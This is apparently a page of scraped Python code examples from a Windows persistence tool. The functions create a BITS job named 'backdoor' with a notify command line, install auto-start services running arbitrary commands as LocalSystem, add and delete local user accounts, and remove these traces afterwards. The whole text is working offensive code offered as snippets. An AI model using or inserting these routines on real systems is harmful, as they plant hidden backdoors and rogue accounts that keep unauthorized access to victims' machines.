コード例 #1
0
def stop_service(service):
    command = 'sc stop {}'.format(service)
    r = subprocess.run(command,
                       shell=True,
                       stdout=subprocess.PIPE,
                       stderr=subprocess.STDOUT)
    rr = content_decode(r.stdout)
    logger.debug(rr)
コード例 #2
0
def clear_bitsadmin_cmd():
    command = r'bitsadmin /cancel backdoor'
    r = subprocess.run(command,
                       shell=True,
                       stdout=subprocess.PIPE,
                       stderr=subprocess.STDOUT)
    rr = content_decode(r.stdout)
    logger.info(rr)
コード例 #3
0
def delete_service(service):
    command = 'sc delete {}'.format(service)
    r = subprocess.run(command,
                       shell=True,
                       stdout=subprocess.PIPE,
                       stderr=subprocess.STDOUT)
    rr = content_decode(r.stdout)
    logger.debug(rr)
    clear_user()
コード例 #4
0
def add_bitsadmin_regsvr32(cmd):
    command = r'bitsadmin /create backdoor && bitsadmin /addfile backdoor C:\Windows\System32\calc.exe %temp%\calc.exe && bitsadmin /SetNotifyCmdLine backdoor {} && bitsadmin /resume backdoor'.format(
        cmd)
    r = subprocess.run(command,
                       shell=True,
                       stdout=subprocess.PIPE,
                       stderr=subprocess.STDOUT)
    rr = content_decode(r.stdout)
    logger.info(rr)
コード例 #5
0
def add_service_powershell(cmd, service):
    command = 'powershell.exe New-Service -Name "{}" -BinaryPathName "{}" -Description "PentestLaboratories" -StartupType Automatic'.format(
        service, cmd)
    r = subprocess.run(command,
                       shell=True,
                       stdout=subprocess.PIPE,
                       stderr=subprocess.STDOUT)
    rr = content_decode(r.stdout)
    if 'PermissionDenied' in rr:
        logger.error('需要管理员权限!')
        return
    elif 'DisplayName' in rr:
        set_user('sc start ' + service)
        logger.info('创建服务成功')
コード例 #6
0
def add_service_cmd(cmd, service):
    command = 'sc create {} binpath= "cmd.exe /k {}" start= "auto" obj= "LocalSystem"'.format(
        service, cmd)
    r = subprocess.run(command,
                       shell=True,
                       stdout=subprocess.PIPE,
                       stderr=subprocess.STDOUT)
    rr = content_decode(r.stdout)
    if '5' in rr:
        logger.error('需要管理员权限!')
        return
    elif 'CreateService' in rr:
        set_user('sc start ' + service)
        logger.info('创建服务成功')
コード例 #7
0
def delete_accout(username):
    command = 'net user {} /delete'.format(username)
    r = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
    rr = content_decode(r.stdout)
    logger.debug(rr)
コード例 #8
0
def create_accout(username,password):
    command = 'net user {} {} /add'.format(username,password)
    r = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
    rr = content_decode(r.stdout)
    logger.debug(rr)